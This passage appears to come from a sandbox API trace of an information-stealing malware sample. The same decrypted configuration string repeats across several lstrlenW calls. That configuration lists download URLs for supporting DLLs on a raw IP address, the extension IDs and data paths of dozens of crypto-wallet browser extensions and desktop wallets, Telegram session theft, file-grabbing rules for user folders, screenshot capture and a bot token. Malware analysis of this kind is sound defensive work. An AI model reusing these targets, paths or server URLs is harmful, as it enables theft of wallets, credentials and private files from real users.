Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.312] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.312] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6fe628 [0266.313] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.313] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x700f70 [0266.313] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.313] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x7038b8 [0266.313] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram 